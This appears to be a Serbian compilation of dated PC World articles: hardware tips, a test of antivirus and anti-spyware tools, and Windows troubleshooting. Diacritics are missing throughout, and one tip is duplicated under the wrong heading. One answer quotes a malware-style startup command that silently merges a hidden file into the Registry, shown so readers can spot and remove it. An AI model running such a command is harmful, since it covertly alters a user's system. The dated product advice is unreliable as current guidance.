Proverite samo da li je toner repariran (takvi kartridi su rasklopljeni i oieni, a istroeni delovi
zamenjeni). Izbegavajte kompanije koje recikliraju koriene tonere; takvi toneri mogu da procure i
unite ureaje. Dobro se raspitajte se pre nego to bilo ta uradite.
Utedite novac, spasite drvo: Znate da papir ne raste na drveu. Ne, u stvari raste, ali je i dalje skup.
Jedan od naina da sauvate prirodu kada tampate fotografije jeste da koristite usluni program
Photo Paper Saver (20 USD) kompanije Veena Jayaram. On omoguava da izaberete fotografije koje
elite da tampate i da zadate njihovu veliinu (upozorie vas ako ih ima previe za jednu stranu).
On ak i rasporeuje fotografije tako da se prostor na strani maksimalno iskoristi. Moete ga
preuzeti s adrese find.pcworld.com/34358.
Obradite snimke ekrana: Pravljenje statinih slika od scena iz DVD filmova uvek je mukotrpno. Slike
napravljene pomou programa kao to je, na primer, PowerDVD kompanije CyberLink izgledaju
oajno u programu za obradu slika, jer su linije ispreplitane. Zato potraite odgovarajuu opciju u
programu za obradu slika. Primera radi, u Adobe Photoshopu 7 treba da izaberete Filter- Video-DeInterlace, potom i Odd ili Even Fields, opciju Interpolation i da pritisnete OK.
Audio
Pravi zvuk
Reprodukujte MP3 datoteke na muzikom stubu: Imate disk prepun MP3 datoteka koje sluate
pomou slabih raunarskih zvunika od 35 vati, dok va muziki stub koristi zvunike veliine
monolita iz Odiseje u svemiru 2001. Ne brinite. HiFi-Link (50 USD) kompanije Xitel omoguava da
MP3 datoteke reprodukujete na muzikom stubu i tako potpuno iskoristite monije zvunike.
Priloenim kablom poveite ureaj oblika cigarete na USB prikljuak raunara i audio ulaze pojaala.
Pojaajte zvuk na raunaru i mu-zikom stubu, pokrenite MP3 plejer i pripremite se za uivanje.
Topao skener je srean skener: Pre nego to ponete da koristite ravan skener, obriite njegovu
povrinu obinom krpom za prozore ili tenou koju preporuuje njegov proizvoa. Potom pustite
da se skener zagreva bar 15 minuta. Slike koje su skenirane pre nego to je lampa skenera dostigla
radnu temperaturu mogu biti mutne.
Snimajte u svim godinjim dobima: Kada se radi o digitalnim fotoaparatima, rei "digitalno" i
"otporno" nisu sinonimi. Na temperaturama iznad 32 stepena Celzijusa, na tamnim snimcima
poinje da se pojavljuje digitalni um. Zato pronaite hladovinu. Snimate po maglovitom vremenu?
Smestite aparat u torbicu koja ima otvor za objektiv.
Otkrijte uzrok mutnih skeniranih slika: Da li se na skeniranim slikama pojavljuju mrlje? Vlasnik
lokacije Digiversity.tv Rasel Virs predlae sledei test: napiite re TOP velikim crnim slovima na
belom papiru veliine A4 i skenirajte je. (Moete koristiti bilo koju rezoluciju - 72 t/i je dovoljna.)
Otvorite skeniranu sliku u programu za obradu slika i pronaite opciju za ujednaavanje da biste
podesili kontrast neophodan za otkrivanje problema. Ako du ivice papira vidite talasastu crnu
liniju, poklopac skenera proputa svetlost. Ukoliko vidite mrlje, skeneru je verovatno potrebna nova
lampa, a moda vam treba i novi skener. Ne moete da priutite ni jedno ni drugo? Ako su mrlje grupisane na jednom mestu, izbegavajte ga prilikom skeniranja.
uvajte se tamne (i svetle) strane: Hoete da skenirane slike ostanu otre? Nemojte se igrati s kontrolama za osvetljenje i kontrast u programu za obradu slika. One menjaju sve piksele na slici, tako
DRAGAN MARKOVIC
da tamni delovi postaju mutni, a svetli isprani. Trik je da savladate nelinearnu obradu slika, tj. rad sa
alatkama Levels i Curves u Adobe Photoshopu. Posetite lokaciju RussellBrown.com - na njoj ete
pronai detaljnije informacije.
Znanja o Webu i mreama
Iskljuite reklame (i zatitite raunar): Postoji mnogo dobrih programa za blokiranje reklama na
Webu, ali je najelegantnije reenje zatitni zid ZoneAlarm Pro (50 USD) kompanije Zone Labs. Samo
pomerite kliza u odeljku Ad Blocking na vrednost High i zabraniete prikazivanje svih reklama koje
zauzimaju propusni opseg: propagandnih slika u zaglavljima, Flash filmova, ak i onih velikih
reklama koje se nepozvane pojavljuju nasred ekrana i nee da se sklone. Ah, da - ZoneAlarm je i
sjajna zatitna barijera. Probnu verziju programa moete preuzeti s adrese find.pcworld.com/34340.
Znajte, meutim, da blokiranjem reklama moete blokirati i vane informacije na Web stranama koje
se prikazuju na isti nain kao i reklame.
Precizno podesite TCP/IP parametre: Da li va TCP/IP protokol radi punom snagom? Posetite
lokaciju SpeedGuide. net i proverite. Prvo pritisnite hipervezu TCP/IP Analyzer da biste videli da li je
vaa veza (od opcija Windowsa do parametara modema) dobro podeena. Ukoliko neto nije u redu,
pritisnite hipervezu TCP/IP Optimizer da biste preuzeli malu alatku za analiziranje veze i
podeavanje parametara; vrednosti parametara moete zadati i sami. Najbolje od svega: alatka je
besplatna.
Sakrijte adresu e-pote na Webu: Otkrivanje adrese e-pote na Webu je otvoren poziv za slanje
neeljenih poruka. Spreite ih tako to ete adresu e-pote prikazivati na Webu kao sliku, a ne kao
tekst. Programi koji automatski belee elektronske adrese na Webu ne umeju da itaju slike. Isto
tako, adresi moete dodati i neke rei poput OBRISI (na primer, "luhnOBRISI@ msn.com") i obavestiti posetioce da ih prilikom slanja poruke treba obrisati. Najbolje je da na Web stranu postavite polje
u koje posetioci moraju uneti kod koji se nalazi negde na strani da bi videli vau adresu. Posetite
lokaciju JavaScript.com ili druge biblioteke JavaScripta da biste pronali besplatne skriptove koje
moete upotrebiti uz minimalno prilagoavanje.
Podstaknite mrenu karticu: Ako raunaru treba itava venost da pronae mreu, mrena kartica
verovatno automatski pokuava (i ne uspeva) da pronae parametar mree koji ne postoji. Pored
toga, kartica moda nije dobro podeena: mogue je da radi kao 10BaseT, a vorite prepoznaje
samo 100BaseT kartice. vorite ne moete lako zameniti, pa zato pokuajte da podesite mrenu
karticu. Pritisnite desnim tasterom mia My Network Places (ili Network Neighborhood u Windowsu
98 i Me), izaberite Properties i pritisnite dugme Configure. Pritisnite jeziak kartice Advanced i
potraite stavku Link Speed ili Media Type. Uobiajene opcije su 10BaseT i 100BaseT (full ili
half duplex za svaku), Hardware Default i Auto. Proverite da li one odgovaraju parametrima mrenog
usmerivaa ili vorita. Ako niste sigurni ta da izaberete (na primer, u mrei imate i 10BaseT i
100BaseT ureaje), koristite najvei zajedniki delilac - 10BaseT i half duplex.
Internet
Jednostavno prekidanje veze
Reprodukujte MP3 datoteke na muzikom stubu: Imate disk prepun MP3 datoteka koje sluate
pomou slabih raunarskih zvunika od 35 vati, dok va muziki stub koristi zvunike veliine
monolita iz Odiseje u svemiru 2001. Ne brinite. HiFi-Link (50 USD) kompanije Xitel omoguava da
MP3 datoteke reprodukujete na muzikom stubu i tako potpuno iskoristite monije zvunike.
Priloenim kablom poveite ureaj oblika cigarete na USB prikljuak raunara i audio ulaze pojaala.
Pojaajte zvuk na raunaru i mu-zikom stubu, pokrenite MP3 plejer i pripremite se za uivanje.
DRAGAN MARKOVIC
Tamanitelji napasti
Mnogi usluni programi obeavaju unitavanje virusa i rijunskih programa. Nai testovi pokazuju
da nisu svi jednako uspeni.
Korienje raunara bez preduzimanja zatitnih mera nalik je igranju ruskog ruleta. Elektronske
poruke, Web lokacije i programi uglavnom nisu opasni, ali e, pre ili kasnije, na svaki sistem nasrnuti zlonamerni programi koji mogu da ga otete ili poremete njegov rad.
Bezbednostan softver koji smo testirali (antivirusni programi i alatke za otkrivanje pijuna)
obezbeuje osnovnu odbranu. Nai testovi pokazuju da najbolji antivirusni programi zaustavljaju
skoro sve "raunarske infekcije". Meutim, oni ne mogu da zaustave pijunske programe, poput
alatki za nadgledanje ili reklamnih aplikacija koje prate vae navike tokom krstarenja Internetom.
Ovaj dvodelni prikaz obuhvata zato i alatke za borbu protiv virusa i alatke za odbranu od pijuna.
ANTIVIRUS
DA BI PRONAAO najbolji antivirusni paket, PC World Test Centar se udruio s nezavisnom laboratorijom AV Test.org Univerziteta u Magdeburgu u Nemakoj. Ona je nedavno testirala trideset jedan
antivirusni program, ali smo mi traili stroe testiranje (pod Windowsom XP Pro) osam iroko
dostupnih dobrih alatki
za borbu protiv virusa: Boomerang Software EXtendia AntiVirus AVK Professional, F-Secure Anti
Virus 2003, GeCad Software RAV AntiVirus Desktop for Windows 8.6, Kaspersky Anti Virus Personal
4, Network Associates McAfee VirusScan 7 Home Edition, Panda Software Antivirus Platinum 7,
Symantec Norton AntiVirus 2003 i Trend Micro PC-cillin 2003. Nakon ispitivanja upotrebljivosti i performansi u laboratoriji, priznanje Na izbor dobio je Norton AntiVirus 2003.
Performanse u laboratoriji
U martu smo sve antivirusne programe testirali pomou 288 virusa i crva (u 576 datoteka). Ove
napasnike smo izabrali na osnovu podataka organizacije WildList Organization International
(wildlist.org), koja objavljuje meseni bilten aktivnih virusa i crva.
Bez posebnog podeavanja, programi su prilikom pregledanja vrstog diska i pristupanja zaraenim
datotekama uspeno otkrili sve viruse i crve s februarske liste WildList. Meutim, taj test pokazuje
samo kako se programi snalaze s poznatim virusima i crvima, ije se definicije nalaze u bazama koje
bi korisnici trebalo dnevno da auriraju. Na osnovu tih podataka ne moe se znati kako e programi
reagovati u sluaju manje poznatih virusa i crva, koji su se pojavljivali tokom godina i koji mogu
ponovo postati aktivni ili uticati na pravljenje drugih zlonamernih programa. Isto tako, nismo testirali
programe ni protiv trojanaca (programa sa skrivenim, zlonamernim kodom), koji se ne nalaze na
spisku WildList.
Strunjaci laboratorije AV Test.org koristili su najstroe radne reime antivirusnih programa i
pregledali vrsti disk s preko 71.000 datoteka koje sadre oko 23.000 virusa, crva i trojanaca. FSecure Anti Virus 2003, EXtendia AVK Pro, McAfee VirusScan 7.0 i Kaspersky Anti Virus Personal
otkrili su redom, potpise virusa u, 99,96; 99,95; 99,93 i 99,91 procenata datoteka. Norton AntiVirus
2003 (99,72 %) i RAV AntiVirus (99,57 %) neznatno su zaostali, ali su njihovi rezultati prilikom
otkrivanja virusa u Win32 datotekama (danas najea vrsta virusa) bili meu najboljima.
Druga dva takmiara se nisu tako dobro pokazala. PC-cillin 2003 i Panda Antivirus Platinum pronali
su potpise virusa u samo 97,9 i 96,4 procenata datoteka. Imali su problema i prilikom otkrivanja
trojanaca (pronali su tek 91 i 83 procenta, za razliku od ostalih est programa koji su uspeli da
DRAGAN MARKOVIC
Bez obzira na to koliko dobro antivirusni programi otkrivali poznate pretnje, najopasniji su
nepoznati virusi. Zato veina programa ne trai potpuno identine potpise u bazi poznatih virusa. Da
bi se otkrile nove pretnje, koriste se heuristike metode i trai se kod koji se ponaa kao virus ili
sadri podatke sline poznatim zlonamernim programima.
Da bismo proverili efikasnost heuristikih metoda, testirali smo razne verzije antivirusnih programa
sa zastarelim potpisima, starim tri i est meseci (koji su se koristili mnogo pre nego to su se pojavili
najnoviji zlonamerni programi), i pregledali datoteke s najnovijim pretnjama. Performanse su se
znatno razlikovale, ali nijedan program se nije pokazao tako dobro kao prilikom otkrivanja poznatih
pretnji s liste WildList. Tri meseca stare verzije programa EXtendia AVK Pro i F-Secure postigle su
najbolje rezultate, otkrivajui potpise u 75 i 72 procenata datoteka, a u stopu su ih pratili programi
kompanija Kaspersky i McAfee s pronaenih 69 i 67 procenata. Ostali programi su pronali potpise
u malo vie od 50 procenata datoteka. Rezultati su bili od sedam do 14 procenata slabiji kada smo
koristili programe i potpise stare est meseci, to znai da uspenost heuristikih metoda za prepoznavanje novih virusa delom zavisi i od poznavanja navedenih pretnji. Stoga je redovno
auriranje definicija virusa veoma vano; svi testirani programi to mogu da rade automatski (mada
ne podjednako esto).
Osmog maja se pojavio crv pod imenom Fizzer. Nijedan antivirusni program nije uspeo da ga otkrije
heuristikim metodama; svima su bile neophodne aurne definicije virusa. Kompanija Panda ih je
objavila istoga dana. Pojedini proizvoai su ih objavili tek posle nedelju dana, kada se crv ve
proirio.
Na poslednjem testu performansi merili smo vreme rada programa na sistemu s Pentiumom 4 na
2,53 GHz, 512 MB DDR memorije, Windowsom XP Professional, Microsoft Officeom 2000 i drugim
aplikacijama i datotekama (ukupno 7,15 GB). Jednom smo koristili podrazumevane, a drugi put
stroge parametre. Zakljuak: sporije je po pravilu bolje. Sporiji programi su imali bolje rezultate i
otkrili su vie virusa uz stroe parametre.
Performanse na vaem raunaru
Najbolji antivirusni program treba da postigne dobre rezultate ne samo u laboratoriji nego i na
vaem raunaru, a da uz to obezbedi jasne informacije i pouzdanu tehniku podrku. Na primer,
kada otkrije virus, da vam dobro objasni njegovu prirodu i pomogne da ga uklonite. Crvi i trojanci su
samostalni programi i ne inficiraju druge datoteke, pa ih je zato dovoljno zaustaviti i obrisati. Virusi
su problematiniji: zaraena datoteka moe biti vana, tako da ete je obrisati samo ako drugog
izlaza nema. Poeljnije je oistiti virus (ukloniti kod i popraviti datoteku), ali ne mogu svi programi
da oiste sve datoteke. Primera radi, neki testirani programi nisu mogli da oiste datoteke u .zip arhivama, pa smo morali da ih otvorimo i runo pregledamo njihov sadraj. Ako program ne moe da
oisti ili obrie datoteku, trebalo bi bar da je stavi u "karantin" da je zlonameran kod ne moe pokrenuti.
Da biste odredili vrstu infekcije i mere koje valja preduzeti, treba da budete pravi strunjak. Zato nam
se dopadaju programi koji daju savete ili automatski preduzimaju odgovarajuu akciju. Najbolji od
njih su programi kompanija F-Secure, Panda, Norton i PC-cillin, jer automatski popravljaju ili briu
zaraene datoteke, ili ih pak stavljaju u karantin. Drugi programi samo spreavaju pokretanje
datoteke ili njeno upisivanje na disk, a od vas trae da uradite sve ostalo.
Naalost, dvosmislena upozorenja i zbunjujui parametri spreili su neke od najboljih programa da
dobiju priznanje Na izbor. Na primer, programi Kaspersky i RAV su moni lovci na viruse, ali imaju
radna okruenja iz srednjeg veka. Radno okruenje programa kompanije McAfee zahteva mnogo
DRAGAN MARKOVIC
znanja da biste ga podesili. Za razliku od pomenutih programa, Norton AV se lako koristi i podeava,
a ima i jasne menije koji olakavaju rad. Program kompanije F-Secure takoe ima lepo okruenje, ali
su izostavljene kljune mogunosti poput vremenskog planiranja pregleda vrstog diska.
Kako pozvati u pomo?
Dani besplatne telefonske tehnike podrke su proli - nude je jedino kompanije Trend Micro i
Kaspersky. Boomerang, GeCad, Network Associates, Panda i Symantec pruaju telefonsku tehniku
podrku, ali je naplauju po minutu razgovora ili po problemu. Lepo je ipak, to imate ovu
mogunost ako ikada zapadnete u velike nevolje. Sreom, svi proizvoai pruaju korisnu i besplatnu tehniku podrku putem e-pote. est kompanija je odgovorilo za manje od dva dana (obino
to ine za nekoliko sati). Kompanijama F-Secure i Kaspersky trebalo je preko pet dana da odgovore,
ali su odgovori bili korisni.
Ukupno gledano, Norton AntiVirus prua najbolju kombinaciju performansi i upotrebljivosti, ima i
intuitivno okruenje, a procenat otkrivenih pretnji bio je prilino visok. Ako proizvoai ostalih programa poprave radno okruenje ili poboljaju tehniku podrku, Norton e imati jaku konkurenciju.
PROTIV PIJUNA
Antivirusni programi se bore s uobiajenim pretnjama (virusima, crvima i trojancima), ali ne mogu
mnogo da urade kada su u pitanju pijunski programi koje instaliraju lukave Web lokacije ili
sumnjiavi poslodavci. ak 40 procenata poziva upuenih slubama za tehniku podrku davaoca
Internet usluga odnosi se na pijunske programe.
Prilikom testiranja antivirusnih programa, meu zlonamerne aplikacije ubacili smo i nekoliko
pijunskih programa, to je dalo poraavajue rezultate. U prvom pokuaju primetio ih je samo program kompanije McAfee, upozorivi nas tek na jedan. Kasnije, kada smo s Web lokacije kompanije
Kaspersky preuzeli opcionu besplatnu bazu pijunskih programa, program AntiVirus Personal 4
otkrio je veliki broj.
Jedan od razloga za slabe rezultate antivirusnih programa jeste oklevanje da se pijunski programi
okarakteriu kao zlonamerni. Iako se neki od njih mogu uunjati u raunar, veina je jasno navedena
u ugovorima o korienju odgovarajuih besplatnih programa. Prihvatanjem ugovora, vi dozvoljavate instalaciju pijunskih programa koji prikupljaju podatke potrebne za reklamiranje.
itanje teksta ispisanog sitnim slovima prvi je korak u izbegavanju pijunskih programa. Meutim,
ukoliko se oni ve nalaze na vrstom disku (a najverovatnije je tako), najbolje ete se odbraniti ako
pokrenete program koji pregleda disk i trai poznate pijunske datoteke, direktorijume, odrednice u
bazi Registry i kolaie, a zatim nudi njihovo brisanje. Pored toga, nekoliko uslunih programa
pregleda i memoriju da bi spreili instaliranje i pokretanje pijunskih programa.
Softverski zatitni zidovi poput Zone Labsovog ZoneAlarma ili Sygateovog Personal Firewalla
(besplatni su) obezbeuju dodatnu zatitu od pijunskih programa, tako to vas upozoravaju i blokiraju programe koji ele da pristupe Internetu. Nekoliko testiranih antivirusnih programa sadri i
zatitni zid, a bez njega ne bi smeo da bude nijedan raunar povezan na Internet. Savete o zatitnim
zidovima pronai ete u Malim savetima za Internet iz aprilskog broja.
Uhvatite njukala
Testirali smo etiri najbolja programa za otkrivanje pijuna: Lavasoft Ad-aware Plus 6, PepiMK Software Spybot Search & Destroy 1.2, PestPatrol Software PestPatrol 4.2 i Webroot Software Spy
Sweeper 1.5, i to tako to smo instalirali prvo njih, a potom i pijunske programe. Koristili smo dva
usluna programa, IMesh 3.1 i Hotbar 4, koji sadre softver za prikazivanje reklama kao to su Gator
GAIN i CommonName. Dodali smo i ActiveX kontrolu Secret Admirer koja pomou modema zove
DRAGAN MARKOVIC
broj povezan s pornografskom Web lokacijom. Instalirali smo i pet skrivenih snimaa tastature i
ekrana. Najzad, posetili smo i Web lokaciju OrbitExplorer.com ija ActiveX kontrola automatski
pokuava da instalira pijunski program.
Sve alatke su iskorenile veliki broj pijunskih programa, a najvie ih je otkrio Spybot Search &
Destroy. Meutim, nijedna od njih nije bila savrena. Kada bismo posle korienja jednog programa
pokrenuli drugi ili trei, oni bi, po pravilu, pronali sve pijunske programe koje je prvi propustio.
Isto tako, kada smo programe ponovo pokrenuli, uspeli smo da pronaemo i uklonimo dodatne
pijunske elemente. Neki delovi pijunskih programa ostaju u sistemu i pokuavaju ponovno da se
instaliraju posle uklanjanja. Ispravan postupak za borbu protiv pijuna je: pregledanje, uklanjanje,
ponovno pokretanje raunara, ponavljanje postupka.
Pored toga to najbolje otkriva pijunske programe, Spybot Search & Destroy ih i uklanja bez
oteenja drugih delova sistema. Za razliku od njega, PestPatrol se blokirao i nije hteo da se ponovo
pokrene kada smo od njega traili da obrie pronaene pijunske programe.
Kao i antivirusni programi, i etiri alatke za otkrivanje pijuna mogu da nadgledaju memoriju kako bi
spreili njihovo instaliranje, ali nijedna od njih nije pokazala sjajne rezultate. U veini sluajeva,
otkrili su samo mali broj pijunskih programa koje smo preuzeli i instalirali, a Ad-aware Plus se
pokazao bolje od ostalih. Nadgledanje memorije je nova mogunost Spy Sweepera, koji nije uspeo
da pronae veinu pijunskih programa, a Spybot Search & Destroy je ogranien na ActiveX kontrole i kod ugraen u Web strane.
Testirani programi se nisu mnogo razlikovali ni po mogunostima. Svi mogu automatski da se
uitavaju prilikom pokretanja Windowsa i da vas obavetavaju kada se aurira baza pijunskih programa. Isto tako, mogu da prave i rezervne kopije datoteka pre brisanja (vraanje delova pijunskih
alatki moe biti neophodno za rad odgovarajuih besplatnih programa).
Dva programa su bolja od jednog
Programi za otkrivanje pijuna su jo uvek u povoju. Preporuujemo da umesto jednog programa
koristite naa dva omiljena: Spybot Search & Destroy i Ad-aware. Prvi se na testovima pokazao kao
najbolji za skeniranje diskova, mada ima nezgrapno radno okruenje. Drugi ima bolje okruenje, a za
30 USD (verzija Plus) moete dobiti i trajnu zatitu. Spybot Search & Destroy nas je upozorio da se
moe desiti da Ad-aware prepozna datoteke u karantinu kao aktivne pijunske programe, ali mi to
nismo primetili.
DODATNA ZATITA
ZATITA NA SERVERU
Veliki davaoci Internet usluga nude zatitu od virusa svojim klijentima. MSN pregleda poruke
e-pote i priloge pomou softvera kompanije McAfee; MSN-ov klijentski softver sadri verziju
VirusScana kompanije McAfee. EarthLink planira da krajem godine uvede slinu uslugu, a AOL u
svom klijentskom softveru ve nudi pregledanje poruka e-pote. Najbolje je, ipak, da ove usluge
budu dodatak antivirusnom programu na vaem raunaru, a ne zamena za njega.
"Uvek je bolje da koristite nekoliko nivoa zatite", kae Brajan Berk, direktor istraivakog odeljenja
kompanije IDC. On smatra da e se davaoci Internet usluga razvijati kao i druge korporacije koje su
usvojile centralizovane serverske uslune programe, umesto da se oslanjaju samo na antivirusne
programe na korisnikim raunarima. "S bezbednosne take gledita, to je vrlo povoljno za korisnike, naroito one koji ne auriraju definicije virusa", zakljuuje Berk.
Meutim, nemojte misliti da svi davaoci Internet usluga pruaju ovu zatitu. Jedan manji davalac
Internet usluga (koji je eleo da ostane anoniman) tvrdi da uvoenje zatite od virusa nije vredno
truda. "Dovoljno je teko obraditi ogroman broj poruka e-pote koje davalac dobija. Ako tome
DRAGAN MARKOVIC
dodate i zatitu od virusa, trebae vam mnogo procesorske snage i propusnog opsega", ali se
njegov predstavnik. Klijentima e se verovatno svideti zatita, ali e se onda pojaviti vei problem:
"Ako dobiju virus, klijenti e kriviti nas.
DRAGAN MARKOVIC
Zatitite se od napada
Pronaite i obriite neeljene programe iz Windowsove grupe Startup; ta initi sa oteenim snimcima sistema altke System Restore
NEKI PROGRAM se instalirao na raunaru i stalno
prikazuje neeljenu pornografiju. Pokuao sam da ga
uklonim, ali se on uvek iznova pojavljuje. ta mogu da
uradim?
Prvo upotrebite Windowsovu alatku System Configuration Utility da biste otkrili da li se nepozvani program obnavlja svaki put kada se raunar pokree. (U
Windowsu 2000 ovaj program ne postoji, ali s adrese
find.pcworld.com/38234 moete preuzeti besplatnu
alatku Startup Control Panel autora Majka Lina.)
Pritisnite Windows-R ili odaberite Start-Run, upiite
msconfig i pritisnite Enter. Preite na karticu Startup i
potraite sumnjive naredbe ili putanje do datoteka u
prikazanom spisku. Naalost, ime zlonamernog programa najverovatnije nije lako uoljivo. Opravdano
posumnjajte u naredbe poput 'C:Windowsregedit.exe
SLIKA 1: ISKLJUITE ILI OGRANIITE skriptove da
/s C:WindowsSystemx3z73t.tmp'. Ta naredba menja
biste izbegli zatrpavanje pornografijom.
sadraj baze Registry svaki put kada se sistem
pokree - ako primetite neku slinu, uklonite znak
potvrde pored nje i pritisnite OK. Za svaki sluaj,
obriite i datoteku koja se pominje na kraju naredbe u
prethodnom
primeru
to
je
'C:WindowsSystemx3z73t.tmp'.
SLIKA 2: MOE LI OVA DATOTEKA BITI SNIMLJENA? Probna verzija programa OfficeRecovery
saoptie da li se ona moe spasiti.
DRAGAN MARKOVIC
Vrlo je verovatno da nasrtljivi program koristi JavaScript, pa razmislite o tome da ograniite podrku
za njega u itau Weba. Da biste to uinili u Internet Exploreru, odaberite Tools-Internet OptionsSecurity- Custom Level, u odeljku Active scripting odaberite Disable ili Prompt (SLIKA 1) i dva puta
pritisnite OK. Imajte na umu da iskljuivanjem ove funkcije blokirate i korisne i zlonamerne skriptove
- a omoguavanje njihovog izvravanja od sluaja do sluaja brzo dosadi.
Postoje dva besplatna programa koji vam mogu pomoi u otkrivanju "zloinca": Ad-aware kompanije Lavasoft (find.pcworld.com/38240) i Spybot Search & Destroy kompanije PepiMK
(find.pcworld.com/38243).
Moe biti i da ste rtva programa koji iskoriava Browser Help Object, podsistem Internet
Explorera, ija je namena da omogui izvravanje dodataka u itau. Na adresi
find.pcworld.com/38963 proitajte vie detalja o tzv. nevidljivim programima i kako da se protiv njih
borite.
RESTAURIRAJTE PRIVATNE DIREKTORIJUME
MORAO SAM ponovo da instaliram Windows XP na sistemu na kome se nalaze privatni direktorijumi. Sada vie ne mogu da im pristupim, premda se sluim istim korisnikim imenima kao i pre. ta
mogu da uinim?
Pokrenite raunar i pre nego to Windows pone da se uitava pritisnite F8 da biste pristupili meniju
za podizanje sistema. Odaberite Safe Mode i prijavite se kao administrator.
Kada se XP podigne u "sigurnom" reimu, otvorite Windows Explorer, desnim tasterom pritisnite
privatni direktorijum, odaberite Properties, zatim pritisnite Security-Advanced-Owner. Odaberite
odgovarajueg vlasnika u polju 'Change owner to', potvrdite Replace owner on subcontainers and
objects i pritisnite OK. Na upozoravajuu poruku odgovorite potvrdno (Yes). Ponovo pokrenite
raunar i vratite se u normalan Windows.
SYSTEM RESTORE NE RADI
ZBOG EGA System Restore ne moe da obnovi bazu Registry? Kada god sam to pokuao, dobijao
sam poruku da restauracija nije uspela (restore incomplete).
Neki od snimaka sistema je oteen. To se ponekad deava, a nain na koji System Restore
funkcionie samo pogorava problem. Zbog utede prostora na disku, on snima jedino izmene
nainjene od poslednjeg snimanja. Ako Windows svakodnevno pravi sigurnosne snimke, i u petak
mu naredite da restaurira stanje od ponedeljka, on mora uspeno da restaurira i take od etvrtka,
srede i utorka, pre nego to dospe do ponedeljka. Ako su podaci od etvrtka oteeni, ne moete
pristupiti podacima od srede.
Za ovaj problem ne postoji reenje, ali ga moete izbei ubudue. Prvi korak je da preuzmete i
instalirate servisni paket 1 za XP, u kome je otklonjena barem jedna greka u vezi sa oteivanjem
snimljenih taaka.
Ne oslanjajte se ni na Windowsove automatske rezervne kopije. Novija kopija bie pouzdanija od
stare, pa runo napravite taku za restauraciju pre nego to instalirate softver ili uradite bilo ta
DRAGAN MARKOVIC
Kad god se suoite sa oteenom takom za restauraciju, dobro bi bilo da sve uradite iz poetka,
ienjem svih ranijih snimaka. U Windowsu XP pritisnite Start, zatim desnim tasterom My Computer i odaberite Properties-System Restore. Potvrdite opciju Turn off System Restore on all drives,
pritisnite OK i zatim Yes. Restartujte raunar i ponovite postupak, samo ovoga puta ponitite potvrdu opcije Turn off System Restore on all drives.
U Windowsu Me, pritisnite desnim tasterom My Computer pa izaberite Properties-Performance-File
System-Troubleshooting. Potvrdite Disable System Restore i pritisnite OK, Close pa Yes. Kada se
sistem ponovo podigne, ponovite ceo postupak, ali potvrdite polje Disable System Restore.
U Windowsu Me, rezervnu kopiju baze Registry moete nainiti i bez programa System Restore: odaberite Start-Run, upiite scanreg i pritisnite Enter. Kada dobijete poruku da je sve proteklo ispravno,
pritisnite Yes i potom OK. Da biste restaurirali Registry, vratite se u dijalog Run i upiite scanreg
/restore (ne zaboravite razmak pre kose crte).
U Windowsu XP ne postoji ovakva mogunost, ali moete upotrebiti besplatnu alatku Larsa Hederera, Emergency Recovery Utility NT (ERUNT) da biste napravili rezervnu kopiju XP-ove baze Registry i kasnije je restaururali. Alatku preuzmite s lokacije find.pcworld.com/38246 ili s naeg diska.
RESTAURIRAJTE ILI OBRIITE OTEENE DATOTEKE
NEKOLIKO oteenih Wordovih i Excelovih datoteka ne mogu da otvorim niti da ih obriem. Kako je
do toga dolo i ta mogu da uinim?
Osnovni uzrok oteenih datoteka je pad sistema ili aplikacije. Ako Windows ili neki drugi program
"pukne" dok su pojedine datoteke otvorene, kasnije moe biti problema s njihovim otvaranjem (na
sreu, to se vrlo retko deava).
Ako se datoteke stalno oteuju, a sistem radi ispravno, uzrok moe biti neki virus
- jo jedan razlog da antivirusnu zatitu redovno osveavate. Oteenja mogu biti i posledica greke
u sistemu datoteka ili na vrstom disku, to je ve ozbiljniji problem. Upotrebite neku alatku da biste
pregledali vrsti disk, otkrili greke i oporavili sistem datoteka.
Da biste disk pregledali u Windowsu 2000 ili XP, otvorite My Computer, pritisnite desnim tasterom
vrsti disk, odaberite Properties-Tools-Check Now, potvrdite obe opcije i pritisnite Start.
U Windowsu 98 i Me pritisnite Start-Programs-Accessories-System Tools-ScanDisk, izaberite disk,
pritisnite Thorough i oznaite opciju Automatically fix errors. Pritisnite Start da biste otpoeli
pregled.
Oteenu datoteku s podacima najbolje ete restaurirati pomou rezervne kopije. Ako nemate sveu
rezervnu kopiju, moda je program koji je pao, automatski napravio kopiju. Na primer, Word svaku
.doc datoteku podrazumevano uva i kao .wbk datoteku u istom direktorijumu. U sluaju potrebe nju
moete uitati u Word i snimiti kao .doc datoteku.
Ukoliko nemate nikakvu rezervnu kopiju, moraete da upotrebite neki program za restauriranje
podataka.
Kompanija
Ontrack
prodaje
paket
takvih
programa
EasyRecovery
(http://www.ontrack.com/), a kompanija Recoveronix nudi slian paket OfficeRecovery
DRAGAN MARKOVIC
(http://www.officerecovery.com/, SLIKA 2). Za oba paketa moete preuzeti probnu verziju programa
koja e vam saoptiti da li se datoteka moe restaurirati. Ukoliko je restauracija mogua, da biste to
i uinili moraate da kupite program - a on kota preko 150 USD. Ako vas to ne naui da pravite
rezervne kopije, ne znam ta bi drugo moglo.
Humoristike rubrike Linkolna Spektora, saradnika asopisa PC World, nalaze se na adresi
http://www.thelinkinspector.com/.
Korisne Kartice
HTELI BISTE brzo i lako da prebacite datoteku s jednog raunara na drugi? Ako imate digitalnu
kameru, LDP ili neki drugi ureaj koji koristi memorijske kartice, upotrebite te malene kartice fle
memorije i u svakodnevnom radu. ita CompactFlash i SmartMedia kartica moete kupiti za samo
desetak dolara, a ni itai za SD, Memory Stick i MultiMediaCard kartice nisu mnogo skuplji. Svi ovi
itai povezuju se na USB prikljuak, tako da ih je lako prikljuiti na bilo koji raunar. Kada prebacite
potrebne datoteke, imaete i zgodnu spravicu za pravljenje rezervnih kopija i druge potrebe
skladitenja podataka
DRAGAN MARKOVIC
Instalirajte softverski zatitni zid - prvu i najbolju liniju odbrane protiv raznih napasti sa Interneta.
Povezivanje nezatienog raunara na Internet je
slino ostavljanju otkljuane kue - jednom e neko
naii, ispreturati ormar s donjim rubljem i isprazniti
kutiju s nakitom. Da biste obezbedili prilazne take
svom sistemu, instalirajte neki od mnotva besplatnih softverskih zatitnih zidova, a kao rezervu podesite i hardverski zatitni zid.
Zatitne zidove je teko razumeti i podesiti, ak i ako
ste iskusni korisnik raunara. Ako ste odlagali
instaliranje takve zatite, ili niste upueni kako da
proverite da li vas taj zid potpuno titi, tu sam da vam
objasnim sve to treba da znate.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
